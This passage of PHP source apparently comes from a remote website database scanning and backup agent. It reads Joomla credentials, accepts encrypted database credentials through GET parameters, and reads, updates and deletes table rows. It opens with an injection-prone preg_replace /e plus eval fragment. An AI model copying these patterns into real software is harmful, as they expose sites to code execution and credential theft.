preg_replace(‘/(\\\\(?:x[0-9a-f]{1,2}|[0-7]{1,3}|[nrtvef\\\\$\'”]))/e’, “eval(‘return stripslashes(<< $localdir ) ); } // Super easy, thanks Joomla!! $config = new JConfig(); ! defined(‘DB_HOST’) && define( ‘DB_HOST’, $config->host ); ! defined(‘DB_USER’) && define( ‘DB_USER’, $config->user ); ! defined(‘DB_PASSWORD’) && define( ‘DB_PASSWORD’, $config->password ); ! defined(‘DB_NAME’) && define( ‘DB_NAME’, $config->db ); ! defined(‘DB_PREFIX’) && define( ‘DB_PREFIX’, $config->dbprefix ); ! defined(‘DB_TYPE’) && define( ‘DB_TYPE’, $config->dbtype ); } # JoomlaCredentialImport – END # GenericCredentialImport – START /** * Import Generic Creds – wrapper function to handle the step and init DB constants once info is available */ function import_Generic_creds() { global $_FEATURECODE; if ( $_GET[ ‘cmd’ ] == ‘db_creds_ready’ && ( $enc_db_creds = $_GET[ ‘enc_db_creds’ ] ) != ” ) { // STEP 2 $decoded_db_creds = decode_generic_DB_creds( $enc_db_creds ); ! defined(‘DB_HOST’) && define( ‘DB_HOST’, $decoded_db_creds[ ‘db_host’ ] ); ! defined(‘DB_USER’) && define( ‘DB_USER’, $decoded_db_creds[ ‘db_user’ ] ); ! defined(‘DB_PASSWORD’) && define( ‘DB_PASSWORD’, $decoded_db_creds[ ‘db_pw’ ] ); // db name only known in DB Scan case if ( $_FEATURECODE == DBSCAN ) { ! defined(‘DB_NAME’) && define( ‘DB_NAME’, $decoded_db_creds[ ‘db_name’ ] ); } else { ! defined(‘DB_NAME’) && define( ‘DB_NAME’, null ); } // no prefix for generic ! defined(‘DB_PREFIX’) && define( ‘DB_PREFIX’, null ); } else { // STEP 1 – function will terminate execution and return JSON to the caller handle_s3_init( true ); } } /** * Function will accept encoded creds string and attempt to decode it into [db_host, db_user, db_pw, db_name] */ function decode_generic_DB_creds( $enc_db_creds ) { $contents = base64_decode( $enc_db_creds ); // some invalid unprintable character was returned at the end of the strings, breaking json_decode $dec_string = trim( decrypt_string($contents) ); // If string contains any non-ASCII characters, they will be double-encoded! Decode them into valid UTF-8 charactres. // Before, we used to trim those characters out, altering the values! if ( preg_match( ‘/[^ -~]/’, $dec_string ) !== false ) { $dec_string = utf8_decode( $dec_string ); } return json_decode( $dec_string, true ); } # GenericCredentialImport – END define(‘MAX_ROWS_PER_QUERY’, 100); define(‘MAX_ROWS_TABLE’, 2500); define(‘ACTION_DEL’, ‘delete’); define(‘ACTION_UPD’, ‘update’); define(‘ACTION_RES’, ‘restore’); # Database – START function die_enc_db($str = ”) { update_scan_on_error( ‘DATABASE_GENERAL_ERROR’, $str, false); die($str); } /** * @var Mysql_Base */ $db = null; $cached_table_info = array(); /** * @return Mysql_Base $db */ function getDbObj( $exception_on_failure = false ) { /** * @var Mysql_Base */ global $db; // we can cache DB since it’s global anyway if ( $db === null ) { // we try newer MySQLi first every time, capturing any forced init exceptions… try { $db = new Mysql_New( true ); } // …then fall back to the older MySQL catch ( Exception $ex ) { $db = new Mysql_Old( $exception_on_failure ); } } return $db; } function getTableAndIdCol($table = null, $idcol = null) { global $db; if (!is_a($db, ‘Dbobj_all’)) { die_enc_db(‘db_not_def’); } $table = is_null($table) ? getSuper(‘table’) : $table; $idcol = is_null($idcol) ? getSuper(‘idcol’) : $idcol; $tdat = $db->table_info($table); if (!$tdat || (is_array($tdat) && count($tdat) < 1)) { die_enc_db('bad_table'); } if (!isset($tdat['cols'][$idcol])) { if ( isset($tdat['idcol']) && !empty($tdat['idcol']) ) { $idcol = $tdat['idcol']; } else { die_enc_db('cannot_find_idcol'); } } return array($table, $idcol, $tdat); } class Dbobj_all { } class Mysql_Base extends Dbobj_all { var $link; var $result_set = null; var $buffered = true; function list_tables( $prefix = null ) { global $_PLATFORM; if ( $prefix ) { // "_" used in most prefixes is a special character in SQL, so needs escaping $listq = $this->_query(‘show tables LIKE “‘.str_replace(‘_’, ‘\_’, $prefix).’%”‘, $this->link); add_to_log( $prefix, ‘listing platform-specific tables with provided prefix’ ); } else { $listq = $this->_query(‘show tables’, $this->link); } if ( $this->_generic_error_check( $listq ) ) { return false; } // We already checked for errors, so if we have no rows, this means DB has no tables! if ( $listq->num_rows === 0 ) { return false; } $final = array(); while ($table = $this->_fetch_row($listq)) { $table = $table[0]; $table_info = $this->table_info( $table ); // only add table if its info pull succeeded if ( !empty( $table_info ) ) { $final[$table] = $table_info; } } add_to_log( array_keys($final), “retrieved info about “.count($final).” \”{$_PLATFORM}\” tables” ); return $final; } /** * Function lists all available tables to find distinct prefixes that are used with possibly multiple WP installations * @return array */ function find_distinct_WP_prefixes() { $multisite_candidates = []; $distinct_prefixes_in_use = []; $testable_tables = [‘comments’,’posts’,’users’]; $listq = $this->_query(‘show tables’, $this->link); if ( $this->_generic_error_check( $listq ) ) { return []; } // We already checked for errors, so if we have no rows, this means DB has no tables! if ( $listq->num_rows === 0 ) { return []; } // iterate tables and extract table prefixes while ($table = $this->_fetch_row($listq)) { $table = $table[0]; if( preg_match(“/^(wp_[0-9a-zA-Z]*)(“.implode(‘|’,$testable_tables).”)$/”, $table, $matches) && count($matches) === 3 ){ $prefix = $matches[1]; $table_name = $matches[2]; if (!isset($multisite_candidates[$prefix])) { $multisite_candidates[$prefix] = []; } // save found tables under prefix name $multisite_candidates[$prefix][] = $table_name; } } // iterate our findings to check if each prefix has all the tables we care about // (to exclude possible partial and incomplete installations) if ( count($multisite_candidates) ) { foreach($multisite_candidates AS $prefix=>$table_names) { // if we don’t see all the minimum tables we care about, this is possibly a broken installation and can be skipped // compare table lists, which can be in any order but should have the same values if ( $table_names == $testable_tables ) { $distinct_prefixes_in_use[] = $prefix; } } } // Here’s up to us to decide how many distint prefixes means multisite, logically it’s 2 and more return $distinct_prefixes_in_use; } function table_info( $table ) { global $cached_table_info; // see if we already have info for this table if ( isset( $cached_table_info[ $table ] )) { return $cached_table_info[ $table ]; } $res = array(); if (empty($table)) { return $res; } $table = str_replace(‘`’, ”, $table); // it’s something do { $dq = $this->_query(“DESCRIBE `” . $table . “`”, $this->link); if ( $this->_generic_error_check( $dq, ‘add_to_log’, ‘table_info – DESCRIBE failed’ ) ) { return $res; } $res[‘cols’] = array(); $aut_field = null; $pri_fields = array(); $uni_field = null; // can only run through once while ($col = $this->_fetch_assoc( $dq )) { $res[‘cols’][$col[‘Field’]] = $col; // Auto-Increment Fields, likely what we need if ( $col[‘Extra’] == ‘auto_increment’ ) { $aut_field = $col[‘Field’]; } // In case AI field is not present, seek Primary // Note: tables might contain composite primary keys… o_O if ( $col[‘Key’] == ‘PRI’ ) { $pri_fields[] = $col[‘Field’]; } // In case no Primary is specified, try numeric Unique if ( !$uni_field && $col[‘Key’] == ‘UNI’ && $this->is_db_int( $col[‘Type’] ) ) { $uni_field = $col[‘Field’]; } } // figure out the best candidate for ID field: if ( $aut_field ) { $res[‘idcol’] = $aut_field; } else if ( count( $pri_fields ) === 1 ) { // single primary field $res[‘idcol’] = reset( $pri_fields ); } if ( count( $pri_fields ) > 1 ) { // composite primary key # @TODO: Deal with composite PRI keys later! [requested to hold off by Erick] # Will treat it as NULL key for now //$res[‘idcol’] = json_encode( $pri_fields ); } else if ( $uni_field ) { $res[‘idcol’] = $uni_field; } } while (0); do { $sq = $this->_query(‘show table status like “‘ . $this->_escape_string( $table ) . ‘”‘, $this->link); if ( $this->_generic_error_check( $sq, ‘add_to_log’, ‘table_info – show table status failed’ ) ) { echo_enc(‘|tl2|’, $table, “\n”); return $res; } while ($tbl = $this->_fetch_assoc( $sq )) { if ( $tbl[‘Name’] != $table ) continue; $res[‘info’] = $tbl; break 2; } } while (0); if ( !array_key_exists(‘idcol’, $res)) { $res[‘idcol’] = null; }else{ // Keep original logic applicable to single primary key ONLY. if ( count( $pri_fields ) === 1 ) { do { $sq = $this->_query(“SELECT max(`” . $res[‘idcol’] . “`) as last_id FROM `$table`”); if ( $this->_generic_error_check( $sq, ‘echo_enc’ ) ) { echo_enc(‘|tl3|’, $table, “\n”); continue; } while ($tbl = $this->_fetch_assoc( $sq )){ $res[‘info’][‘last_id’] = $tbl[‘last_id’]; // We need valid UTF-8 value so json_encode can successfully send it back to API // If not, then we need to cleanup those characters. Will simply replace with ‘?’ by default. // We cannot just convert them, since we don’t know what encoding was meant to be there. // Also, check if the function itself is available (on some installations it is not) if ( function_exists( ‘mb_check_encoding’ ) && isset($res[‘info’][‘last_id’]) && !mb_check_encoding( $res[‘info’][‘last_id’], ‘UTF-8’ ) ) { $res[‘info’][‘last_id’] = Mysql_Base::cleanup_non_utf8( $res[‘info’][‘last_id’] ); } break 2; } } while (0); } } // cache table info $cached_table_info[ $table ] = $res; return $res; } // https://webcollab.sourceforge.io/unicode.html public static function cleanup_non_utf8( $string, $replacement = ‘?’ ) { //reject overly long 2 byte sequences, as well as characters above U+10000 and replace with ? $string = preg_replace( ‘/[\x00-\x08\x10\x0B\x0C\x0E-\x19\x7F]’. ‘|[\x00-\x7F][\x80-\xBF]+’. ‘|([\xC0\xC1]|[\xF0-\xFF])[\x80-\xBF]*’. ‘|[\xC2-\xDF]((?![\x80-\xBF])|[\x80-\xBF]{2,})’. ‘|[\xE0-\xEF](([\x80-\xBF](?![\x80-\xBF]))|(?![\x80-\xBF]{2})|[\x80-\xBF]{3,})/S’, $replacement, $string ); //reject overly long 3 byte sequences and UTF-16 surrogates and replace with ? $string = preg_replace( ‘/\xE0[\x80-\x9F][\x80-\xBF]’. ‘|\xED[\xA0-\xBF][\x80-\xBF]/S’, $replacement, $string ); return $string; } function recent_rows($table, $idcol = ”, $last_id = 0, $timestamp = ”, $limit = MAX_ROWS_PER_QUERY) { global $_PLATFORM; if ( $idcol === null ) { return $this->recent_rows_no_ID( $table ); } switch ($_PLATFORM) { case ‘wordpress’: return $this->recent_rows_WP( $table, $idcol, $last_id, $timestamp, $limit ); case ‘joomla’: case ‘other’: // used to be called “generic” default: return $this->recent_rows_Generic( $table, $idcol, $last_id, $timestamp, $limit ); } } function recent_rows_WP($table, $idcol, $last_id, $timestamp = ”, $limit = MAX_ROWS_PER_QUERY) { if (!ctype_digit((string)$last_id) || !ctype_digit((string)$limit)) { return array(); # die_enc_db(‘bad_numbers_in_rr’); } $table = str_replace(‘`’, ”, $table); $idcol = str_replace(‘`’, ”, $idcol); $where = “`$idcol` > $last_id”; // check for timestamp (associated with *_posts) if ( $timestamp != ” ) { global $_QUOTA; $where = “`$idcol` < $last_id and `post_modified` > ‘{$timestamp}'”; $limit = $_QUOTA; } // check for *_posts here in case this function was sent without a timestamp if ( substr( $table, -6 ) == ‘_posts’ ) { $where .= ” and `post_status` = ‘publish'”; } else if ( substr( $table, -9 ) == ‘_comments’ ) { $where .= ” and `comment_approved` = ‘1’”; } $sql_qry = “SELECT * FROM `$table` WHERE $where ORDER BY `$idcol` ASC LIMIT $limit”; $this->result_set = $this->_query($sql_qry); $this->_generic_error_check( $this->result_set, ‘die_enc_db’, ‘recent_rows_WP’ ); $return = array(); while( ( $row = $this->_fetch_assoc( $this->result_set ) ) != false ) { $return[] = $row; } //add_to_log( $sql_qry, ‘SQL SELECT QUERY – WP (‘ . count($return) . ‘ rows returned)’ ); $this->_close(); return $return; } function recent_rows_Generic($table, $idcol = ”, $last_id = 0, $timestamp = ”, $limit = MAX_ROWS_PER_QUERY) { // $last_id value can be an arbitrary string, so ctype_numeric() check no longer applies! $table = str_replace(‘`’, ”, $table); // common case with ID column specified if ( $idcol ) { // simple case with sino last ID if ( is_scalar( $idcol ) && $last_id == 0 ) { $idcol = str_replace(‘`’, ”, $idcol); $where = “1”; $order = “ORDER BY `{$idcol}` ASC”; } // regular case with single ID column if ( is_scalar( $idcol ) && is_scalar( $last_id ) ) { // original logic $idcol = str_replace(‘`’, ”, $idcol); $last_id = $this->_escape_string( $last_id ); $where = “`{$idcol}` > \”{$last_id}\””; $order = “ORDER BY `{$idcol}` ASC”; } // starting case of composite primary key when we don’t need to offset else if ( is_array( $idcol ) && $last_id == 0 ) { $order = array(); foreach( $idcol AS $index => $id_column_name ) { $order[] = “`{$id_column_name}` ASC”; } if ( !empty( $order ) ) { $where = ‘1’; $order = “ORDER BY ” . implode( ‘, ‘, $order ); } else { add_to_log( array( ‘$idcol’ => $idcol, ‘$last_id’ => $last_id ), ‘Empty ORDER param in recent_rows_Generic’ ); return array(); } } // complex case with composite PRI Key else if ( is_array( $idcol ) && is_array( $last_id ) && count( $idcol ) === count( $last_id ) ) { $where = $order = array(); foreach( $idcol AS $id_column_name ) { $value = $this->_escape_string( $last_id[ $id_column_name ] ); $where[] = “`{$id_column_name}` >= \”{$value}\””; $order[] = “`{$id_column_name}` ASC”; } if ( !empty( $where ) && !empty( $order ) ) { $where = implode( ‘ AND ‘, $where ); $order = “ORDER BY ” . implode( ‘, ‘, $order ); $limit .= ” OFFSET 1″; // first record in this set will be the same as the last record in the previous set } else { add_to_log( array( ‘$idcol’ => $idcol, ‘$last_id’ => $last_id ), ‘Empty WHERE/ORDER params in recent_rows_Generic’ ); return array(); } } // invalid data format else { add_to_log( array( ‘$idcol’ => $idcol, ‘$last_id’ => $last_id ), ‘Invalid ID column params in recent_rows_Generic’ ); return array(); } } // case with no ID column – just query to the limit else { $where = ‘1’; $order = ”; } $sql_qry = “SELECT * FROM `{$table}` WHERE {$where} {$order} LIMIT {$limit}”; $this->result_set = $this->_query($sql_qry); if ( !$this->result_set ) { add_to_log( $sql_qry, ‘SQL ERROR – Generic (FAILED!)’ ); $this->_generic_error_check( $this->result_set, ‘die_enc_db’, ‘recent_rows_Generic’ ); } $return = array(); while( ( $row = $this->_fetch_assoc( $this->result_set ) ) != false ) { $return[] = $row; } //add_to_log( $sql_qry, ‘SQL SELECT QUERY – Generic (‘ . count($return) . ‘ rows returned)’ ); $this->_close(); return $return; } function recent_rows_no_ID( $table ) { $table = str_replace(‘`’, ”, $table); if ( $this->result_set === null ) { // Simplified case with no ID column (not limit) $qry = “SELECT * FROM `{$table}`”; // In case of no ID table, we’ll pull *ALL* rows, since we can’t order or pagiante effectively. // To make sure memory doesn’t blow up on large table, we need to explicitly stop buffering for this query. $this->_set_buffered( false ); $this->result_set = $this->_query( $qry, $this->link ); $this->_set_buffered( true ); if ( $this->_generic_error_check( $this->result_set, ‘echo_enc’ ) ) { add_to_log( $qry, ‘ERROR – recent_rows_no_ID’ ); return array(); } } if ( $row = $this->_fetch_assoc( $this->result_set )) { //add_to_log( htmlentities( json_encode( $row ) ), “1 ROW QUERY in {$table} – recent_rows_no_ID” ); return array( $row ); // result set with just one row at a time – we don’t know how many… } else { $this->_close(); return array(); } } function update_rows( $table, $where_column, $where_value, $update_column, $update_value ) { // add_to_log(‘start update_rows:’.$table, “update_rows”); $kvpairs = array(); $kvpairs[ $update_column ] = $update_value; $ustr = $this->_format_pairs( $kvpairs ); $uid = $this->_escape_string( (string) $where_value); // query $qry = “UPDATE `$table` SET $ustr WHERE “; if ( is_array( $where_column ) ) { foreach ( $where_column as $key => $where ) { $qry .= ( $key > 0 ? ‘ and ‘ : ” ); $qry .= “`” . $this->_escape_string( $where ) . “`='” . $this->_escape_string( $where_value[ $key ] ) . “‘”; } } else { $qry .= “`$where_column` = ‘$uid'”; } // add_to_log( $qry, ‘BULK_UPDATE_ROWS’ ); return $this->_rows_affected( $this->_query( $qry ) ); } // post_modified is only available for wp_posts and thus this function should // only be used to update the wp_posts everything function update_row( $action, $table, $idcol, $id, $column, $orig_md5, $new_value, $date, $orig_value_base64 = null ) { global $_ON_VERSION_CONFLICT, $_PLATFORM; // add_to_log(‘start update_row:’.$table.’ ‘.$action.’ ‘.$idcol, “update_row”); $orig_md5 = is_string( $orig_md5 ) && $orig_md5 != ” ? trim( $orig_md5 ) : ”; $skip_md5 = $orig_md5 == ” ? true : false; $kvpairs = array(); if ( $action == ACTION_DEL ) { $new_value = ”; $skip_md5 = true; } if ( $action == ACTION_RES ) { $skip_md5 = true; } // Special case for Generic if ( is_array( $column ) && is_array( $new_value ) ) { // we might have info for multiple columns/values withing the same record foreach( $column AS $index => $column_name ) { $kvpairs[ $column_name ] = base64_decode( $new_value[ $index ] ); } } else if ( trim( $column ) != ” ) { $kvpairs[ $column ] = $new_value; } // Wrapper for original WP extra juggling if ( $_PLATFORM == ‘wordpress’ ) { // check for comments if ( substr( $table, -8 ) == ‘comments’ ) { $kvpairs[ ‘comment_approved’ ] = $action == ACTION_DEL ? ‘0’ : ‘1’; } // check for posts if ( substr( $table, -5 ) == ‘posts’ ) { // by default, all posts should be publish $kvpairs[ ‘post_modified’ ] = $this->_escape_string( (string) $date ); $kvpairs[ ‘post_status’ ] = $action == ACTION_DEL ? ‘trash’ : ‘publish’; } } $table = str_replace(‘`’, ”, $table); $ustr = $this->_format_pairs( $kvpairs ); if ( empty( $ustr ) ) { return false; } // Generic case for table with no ID column: if ( !$idcol && $orig_value_base64 !== null ) { // Step 1: Query table for values matching the original value if ( is_array( $orig_value_base64 ) ) { $orig_value_comparison = array(); foreach( $column AS $index => $column_name ) { $orig_value_comparison[ $column_name ] = ” `{$column}` = ‘” . $this->_escape_string( base64_decode( $orig_value_base64[ $index ] ) ) . “‘ “; } $orig_value_comparison = implode( ‘ AND ‘, $orig_value_comparison ); } else { $orig_value_comparison = ” `{$column}` = ‘” . $this->_escape_string( base64_decode( $orig_value_base64 ) ) . “‘ “; } $qry = “SELECT * FROM `$table` WHERE {$orig_value_comparison}”; add_to_log( $qry, ‘Query 1 to search for matching values’); $query1_result = $this->_query( $qry ); add_to_log( $query1_result, ‘Query 1 result’); if ( $this->_generic_error_check( $query1_result ) ) { add_to_log( ‘query 1’, ‘SQL ERROR!’); return false; } // Step 2: Get table cols $tinfo = $this->table_info($table); $column_names = array_keys($tinfo[‘cols’]); // Step 3: Calculate row hashes $row_hashes = array(); $rows = array(); // we might find multiple rows with exactly the same row contents… while( ($row_values = $this->_fetch_row($query1_result) ) != false ) { $hash = md5( implode( ‘|’, $row_values ) ); $row_hashes[] = $hash; add_to_log( $hash . ” ? ” . $orig_md5, ‘row hash calcualated vs received’); // skip rows that don’t fully match if ( $hash !== $orig_md5 ) { continue; } $rows[] = array_combine( $column_names, $row_values ); //add_to_log( $row_values, ‘matched row’); } $updates_count = 0; if ( !empty( $rows ) ) { foreach( $rows AS $row ) { $all_original_key_value_pairs = array(); // prepare comparisons for each column foreach( $row AS $key => $value ) { $key_value_sql = “`{$key}` = ‘” . $this->_escape_string( $value ) . “‘”; // Empty value and NULL are different and we can’t tell what we have, so use both in comparison. if ( empty( $value ) ) { $key_value_sql = ” ( {$key_value_sql} OR `{$key}` IS NULL ) “; } $all_original_key_value_pairs[] = $key_value_sql; } // combine all comparisons $all_original_key_value_pairs = “(” . implode( ” AND “, $all_original_key_value_pairs ) . “)”; // put everything into a query $qry = “UPDATE `{$table}` SET {$ustr} WHERE {$all_original_key_value_pairs}”; add_to_log( ‘‘ . $qry . ‘‘, ‘UPDATE query – no ID case’); $query2_result = $this->_query( $qry ); if ( $this->_generic_error_check( $query2_result ) ) { add_to_log( ‘query 2’, ‘SQL ERROR!’); } else { $updates_count += $this->_rows_affected( $query2_result ); } } } add_to_log( $updates_count, ‘Total updates no ID case’); return $updates_count; } else // Original logic, expecting a valid ID column: { // Check if out ID columns and value are actually multi-ID case $id_columns = try_json_decode( $idcol ); $id_values = try_json_decode( $id ); if ( is_array( $id_columns ) && count( $id_columns ) > 1 && is_array( $id_values ) && count( $id_values ) > 1 ) { $where = array(); foreach( $id_columns AS $id_column ) { $where[] = “`” . str_replace(‘`’, ”, $id_column) . “` = ‘” . $this->_escape_string( $id_values[ $id_column ] ) . “‘”; } $where = implode( ‘ AND ‘, $where ); } // original logic – single ID case else { $idcol = str_replace(‘`’, ”, $idcol); $uid = $this->_escape_string( (string) $id); $where = “`{$idcol}` = ‘{$uid}'”; } // if set to warn then check for md5 of original if ( !$skip_md5 && $_ON_VERSION_CONFLICT == ‘warn’ && $orig_md5 != ” ) { // get val $qry = “SELECT `{$column}` FROM `{$table}` WHERE {$where} LIMIT 1”; $array = $this->_fetch_array( $this->_query( $qry ) ); if ( isset( $array[ 0 ][ $column ] ) ) { $selected_value = $array[ 0 ][ $column ]; } else if ( isset( $array[ $column ] ) ) { $selected_value = $array[ $column ]; } $md5 = md5( $selected_value ); add_to_log( $md5 . ‘ == ‘ . $orig_md5, ‘MD5_COMPARE’ ); // check if md5 does not match if ( $md5 != $orig_md5 ) { add_to_log( ‘‘ . $selected_value . ‘‘, ‘$selected_value where $md5 != $orig_md5’ ); return 0; } } $qry = “UPDATE `{$table}` SET {$ustr} WHERE {$where} LIMIT 1″; //add_to_log( $qry, ‘UPDATE query in Original logic’); } $updates_count = $this->_rows_affected( $this->_query( $qry ) ); add_to_log( (int)$updates_count, ‘Total updates in original logic’); return $updates_count; } function check_row($table, $idcol, $id, $column) { $table = str_replace(‘`’, ”, $table); $idcol = str_replace(‘`’, ”, $idcol); $id = $this->_escape_string((string)$id); $qry = “SELECT `$idcol` FROM `$table` WHERE `$idcol` = ‘$id'”; // add_to_log( $qry, ‘CHECK_ROW’ ); $array = $this->_fetch_array( $this->_query( $qry ) ); // add_to_log( $array, “CHECK_ROW_RESPONSE” ); return !empty( $array ); } function delete_row($table, $idcol, $id) { $table = str_replace(‘`’, ”, $table); $idcol = str_replace(‘`’, ”, $idcol); $id = $this->_escape_string((string)$id); $qry = “DELETE FROM `$table` WHERE `$idcol` = ‘$id'”; // add_to_log( $qry, ‘DELETE_ROW’ ); return $this->_rows_affected( $this->_query( $qry ) ); } function insert_row($table, $rowdata, $default_rowdata) { $table = str_replace(‘`’, ”, $table); $istr = $this->_format_pairs($rowdata); if (empty($istr)) { return null; } $qry = “INSERT INTO `$table` SET $istr”; if ( !empty( $default_rowdata ) ) { $qry .= ” ON DUPLICATE KEY UPDATE “; $qry .= $this->_format_pairs( $default_rowdata ); } // add_to_log( $qry, ‘INSERT_ROW_ON_DUPLICATE’ ); return $this->_query($qry) ? $this->_insert_id() : 0; } function _format_pairs($pairs) { if (!is_array($pairs) || !count($pairs)) { return null; } $vals = array(); foreach ($pairs as $k => $v ) { $k = str_replace(‘`’, ”, $k); $v = $this->_escape_string( $v ); $vals[] = “`$k` = ‘$v'”; } $str = join(‘,’, $vals); return $str; } function is_db_int( $field_type_string ) { return stripos( $field_type_string, “int(” ) !== false; } function _query($sql, $link = null) { die_enc_db(‘impl_err:0’); } function _generic_error_check( $result, $handle_func = ”, $title = null ) { die_enc_db(‘impl_err:1’); } function _clear_definer_info_from_file( $file, $definer_regex ) { $pattern = “/{$definer_regex}/”; $replacement = ”; $replacements_count = 0; // read original file $fp = fopen( $file, ‘r’ ); // create temp file to store cleaned version: $cleaned_path = $file . ‘.cleaned’; $fp_cleaned = fopen( $cleaned_path, ‘w’ ); while( ( $line = fgets( $fp) ) !== false ) { $count = 0; $line_updated = preg_replace( $pattern, $replacement, $line, -1, $count ); fwrite( $fp_cleaned, $line_updated ); $replacements_count += $count; } fclose( $fp ); fclose( $fp_cleaned ); // if any replacements were made, use the cleaned file if ( $replacements_count > 0 ) { unlink( $file ); rename( $cleaned_path, $file ); } else // nothing was updated – drop file copy { unlink( $cleaned_path ); } return $replacements_count; } function _fetch_row( $res ) { die_enc_db(‘impl_err:2:a’); } function _fetch_assoc( $res ) { die_enc_db(‘impl_err:2:b’); } function _fetch_array( $res ) { die_enc_db(‘impl_err:2:c’); } function _num_rows( $res ) { die_enc_db(‘impl_err:3’); } function _escape_string( $res ) { die_enc_db(‘impl_err:4’); } function _insert_id( $link = null ) { die_enc_db(‘impl_err:5’); } function error_no() { die_enc_db(‘impl_err:6:a’); } function error_str() { die_enc_db(‘impl_err:6:b’); } // By default, all MySQL queries are buffered. // This means that query results are immediately transferred from the MySQL Server to PHP and then are kept in the memory of the PHP process. // Unbuffered MySQL queries execute the query and then return a resource while the data is still waiting on the MySQL server for being fetched. function _set_buffered( $buffered = true ) { $this->buffered = (bool) $buffered; } function _close() { die_enc_db(‘impl_err:7’); } public static function determine_locking_flag( $engine ) { $locking_flag = null; // Prepare command to get Table Structure + Data + Triggers switch( strtoupper( $engine ) ) { case ‘INNODB’: $locking_flag = ‘–single-transaction=TRUE’; break; case ‘MYISAM’: case ‘MEMORY’: // provides table-level locking case ‘CSV’: // no transactions case ‘MERGE’: case ‘ARCHIVE’: // does not support transactions $locking_flag = ‘–lock-tables=FALSE’; break; } return $locking_flag; } public static function establish_mysql_version( $command = ‘mysql’ ) { $version = NULL; $command_with_version = “{$command} -V”; if ( function_exists( ‘exec’ ) ) { $version = self::try_command_and_log_error( $command_with_version ); } return $version; } public static function establish_mysqldump_version( $command = ‘mysqldump’ ) { $version = NULL; $command_with_version = “{$command} -V”; if ( function_exists( ‘exec’ ) ) { $version = self::try_command_and_log_error( $command_with_version ); } return $version; } private static function try_command_and_log_error( $command ) { $output = NULL; $return_code = NULL; $response = exec( $command, $output, $return_code ); // Handle case where we can exec command, but the command itself is not available if ( empty($output) && $return_code > 0) { add_to_log( $return_code, “Command ‘{$command}’ failed with error code”); return NULL; } return $response; } } class Mysql_Old extends Mysql_Base { var $link; function __construct( $exception_on_failure = false ) { global $_FEATURECODE; add_to_log( false, ‘Starting MySQL constructor’ ); if ( !function_exists(‘mysql_connect’) ) { add_to_log( false, ‘MySQL class NOT available!’ ); if ( $exception_on_failure ) { throw new DB_Exception( ‘mysql_no_fn’ ); } else { die_enc_db(‘mysql_no_fn’); } } $this->link = mysql_connect(DB_HOST, DB_USER, DB_PASSWORD); if ( !$this->link ) { add_to_log( false, ‘MySQL connect to ‘ . DB_HOST . ‘ FAILED for ‘ . DB_USER ); if ( $exception_on_failure ) { throw new DB_Exception( ‘mysql_connect_fail’ ); } else { die_enc_db(‘mysql_connect_fail’); } } // UTF8 support mysql_set_charset( ‘utf8mb4’, $this->link ); // Select DB only if it’s DB Scan – we don’t have DB name for Backup if ( $_FEATURECODE == DBSCAN && !mysql_select_db(DB_NAME, $this->link) ) { $error = ‘mysql_select_db_fail’; add_to_log( $error, ‘error in Mysql_Old constructor’); if ( $exception_on_failure ) { throw new DB_Exception( mysql_error($this->link), mysql_errno($this->link) ); } else { die_enc_db($error); } } } function Mysql_Old() { $this->__construct(); } function _generic_error_check( $result, $handle_func = ”, $title = null ) { if ( !function_exists($handle_func) ) { $handle_func = ‘die_enc_db’; } if ( !$result ) { $handle_func( sprintf(‘mysql_query_error:%d:%s’, mysql_errno($this->link), mysql_error($this->link)), $title ); return true; } // elseif ( !$this->_num_rows($result) ) { // if ( $from != ” ) // { // add_to_log( $from, ‘FROM’ ); // } // $handle_func(‘zero_rows’); // return true; // } return false; } function error_no() { mysql_errno($this->link); } function error_str() { mysql_error($this->link); } function _query($sql, $link = null) { if (is_null($link)) { $link = $this->link; } if ( $this->buffered ) { return mysql_query($sql, $link); } else { return mysql_unbuffered_query($sql, $link); } } function _rows_affected( $query ) { return mysql_affected_rows(); } function _escape_string( $string ) { return mysql_real_escape_string( $string, $this->link ); } function _fetch_row( $res ) { if (!is_resource($res)) return null; return mysql_fetch_row( $res ); } function _fetch_assoc( $res ) { if (!is_resource($res)) return null; return mysql_fetch_assoc( $res ); } function _fetch_array( $res ) { if (!is_resource($res)) return null; return mysql_fetch_array( $res ); } function _num_rows( $res ) { if (!is_resource($res)) return null; return mysql_num_rows( $res ); } function _insert_id( $link = null ) { if (!is_resource($link)) $link = $this->link; return mysql_insert_id($link); } function _close() { if ( $this->result_set !== null ) { $response = mysql_free_result( $this->result_set ); $this->result_set = null; return $response; } return true; } } class Mysql_New extends Mysql_Base { var $link; function __construct( $exception_on_failure = false ) { global $_FEATURECODE; add_to_log( false, ‘Starting MySQLi constructor’ ); if ( !class_exists(‘mysqli’) ) { add_to_log( false, ‘MySQLi class NOT available!’ ); if ( $exception_on_failure ) { throw new DB_Exception( ‘mysqli_no_class’ ); } else { die_enc_db(‘mysqli_no_class’); } } $port = null; $socket = null; $host = DB_HOST; $port_or_socket = strstr( $host, ‘:’ ); if ( ! empty( $port_or_socket ) ) { $host = substr( $host, 0, strpos( $host, ‘:’ ) ); $port_or_socket = substr( $port_or_socket, 1 ); if ( 0 !== strpos( $port_or_socket, ‘/’ ) ) { $port = intval( $port_or_socket ); $maybe_socket = strstr( $port_or_socket, ‘:’ ); if ( ! empty( $maybe_socket ) ) { $socket = substr( $maybe_socket, 1 ); } } else { $socket = $port_or_socket; } } $db_name = NULL; // Select DB only if it’s DB Scan – we don’t have DB name for Backup if ( $_FEATURECODE == DBSCAN ) { $db_name = DB_NAME; } $this->link = new mysqli( $host, DB_USER, DB_PASSWORD, $db_name, $port, $socket ); // UTF8 support $this->link->set_charset( ‘utf8mb4’ ); if ( $this->link->connect_error ) { $error = sprintf(‘mysqli_open_fail:%d:%s:1’, $this->link->connect_errno, $this->link->connect_error); add_to_log( $error, ‘error in Mysql_New constructor’ ); if ( $exception_on_failure ) { throw new DB_Exception( $this->link->connect_error, $this->link->connect_errno ); } else { die_enc_db($error); } } } function Mysql_New() { $this->__construct(); } function _generic_error_check( $result, $handle_func = ”, $title = null ) { if ( !function_exists($handle_func) ) { $handle_func = ‘die_enc_db’; } if ( !$result ) { $handle_func( sprintf(‘mysqli_query_error:%d:%s’, $this->link->errno, $this->link->error), $title ); return true; } // elseif ( !$this->_num_rows( $result ) ) { // $handle_func(‘zero_rows’); // return true; // } return false; } function error_no() { return $this->link->errno; } function error_str() { return $this->link->error; } function _query( $sql, $link = null ) { if ( is_null($link) ) $link = $this->link; if (!is_object($link)) return null; if ( $this->buffered ) { return $link->query($sql); } else { return $link->query($sql, MYSQLI_USE_RESULT); } } function _rows_affected( $query ) { # RJN 22382 8/17/2017 # if the update has already executed, # then $query gets 